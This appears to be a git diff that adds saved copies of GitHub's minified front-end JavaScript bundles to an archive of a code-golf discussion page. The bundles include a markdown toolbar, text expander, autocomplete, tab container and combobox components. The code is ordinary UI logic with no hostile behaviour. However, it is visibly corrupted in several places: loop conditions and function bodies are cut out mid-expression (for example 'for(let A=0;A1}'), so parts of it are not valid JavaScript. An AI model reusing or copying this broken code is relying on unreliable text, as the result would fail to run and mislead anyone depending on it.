HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.i